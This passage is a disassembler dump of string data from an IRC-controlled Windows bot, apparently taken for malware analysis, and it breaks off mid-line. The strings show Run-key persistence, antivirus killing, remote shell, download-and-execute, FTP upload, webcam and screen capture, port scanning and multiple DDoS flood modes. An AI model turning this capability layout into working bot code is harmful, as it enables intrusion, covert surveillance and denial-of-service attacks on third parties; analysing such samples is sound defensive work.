aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o ; sub_41A19D+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o ; sub_41A19D+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd 0 dd offset dword_43D128 dd offset aAdministrato_0 ; "administrator" align 10h dword_429230 dd 10h ; DATA XREF: sub_401ACD+AFBr ; sub_401ACD+B27r ... aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042921Co ; ___:00429228o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_4292D0 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429304 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 10h unk_429330 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h unk_429370 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429394 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_4293B0 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_4293BC dd 255C7325h, 73h ; DATA XREF: ___:004013AAo ; sub_415A2F+7Eo dword_4293C4 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_40F6B3+EAo ... unk_4293CC db 2Dh ; - ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o align 4 unk_429434 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429454 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_429474 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E62o align 4 unk_4294C8 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E12o ; sub_401ACD+7E79o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFBo align 4 asc_429548: ; DATA XREF: sub_401ACD+7DCBo unicode 0, <~>,0 unk_42954C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 10h unk_429570 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_429598 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_4295BC db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_4295E0 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_429604 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_429628 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Ao dd 2E732520h, 0 unk_429644 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_429670 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429694 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_4296BC db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo unk_4296E8 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429710 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429734 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429754 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_42977C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_4297A4 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_4297C4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_4297F4 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429814 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429844 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429868 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+7884o dd 27732527h, 2Eh unk_429884 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_4298A8 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7785o dd 0 unk_4298C0 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 10h dword_429900 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+76E5o dd 2Eh dword_429918 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_40913Fo dd 746E6573h, 2Eh unk_429934 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_429954 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+762Fo dd 732520h unk_42996C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_429998: ; DATA XREF: sub_401ACD+75F8o ; sub_40F6B3+FBo ... dw 0Ah unicode 0, <>,0 unk_42999C db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 10h unk_4299C0 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_4299E4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_429A24 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_429A64 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 10h aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o align 4 unk_429A98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 10h unk_429AD0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_429B04 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o align 4 unk_429B38 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 10h unk_429B60 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o unk_429B90 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_429BCC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_429BFC db 2Dh ; - ; DATA XREF: sub_401ACD+7361o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo align 10h dword_429C30 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401ACD+7318o dd 2E732520h, 0 unk_429C4C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_429CA4 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_429CC4 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_429CE4 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_429D00 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Eo dword_429D14 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o ; sub_401ACD+7C47o unk_429D20 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo align 4 dword_429D48 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7073o dd 25203A29h, 73h dword_429D64 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7004o dd 203A2973h, 7325h dword_429D80 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o dword_429D88 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F79o dd 203A2973h, 7325h dword_429DA4 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o dword_429DB0 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo ; sub_401ACD+6F57o ... dword_429DB8 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o dword_429DC0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_429DFC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_429E28 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_429E98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_429ECC dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401ACD+6C3Do dd 7325h dword_429EE4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408673o dword_429EF8 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o ; sub_401ACD+6C14o ... dword_429F08 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h dword_429F50 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_429F8C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o align 4 dword_429FC4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6980o dd 7325203Ah, 0 unk_429FE0 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A004 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A040 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h dword_42A070 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo ; sub_401ACD:loc_409366o unk_42A07C db 2Dh ; - ; DATA XREF: sub_401ACD+6789o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42A0A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A110 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A13C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A178 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A1A8 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A1E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A248 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A278 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A2B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A2EC db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42A32C db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42A358 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+610Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A3D8 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o align 4 dword_42A434 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o ; sub_401ACD+715Ao unk_42A440 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A47C db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42A4CC db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o ; sub_401ACD+607Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A504 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42A56C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 10h unk_42A5A0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 unk_42A5D4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42A604 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o ; ___:00411C61o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o align 4 unk_42A674 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao align 4 unk_42A69C db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_42A6DC db 2Dh ; - ; DATA XREF: sub_401ACD+5797o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A714 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42A75C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_42A790 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42A7C4 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; 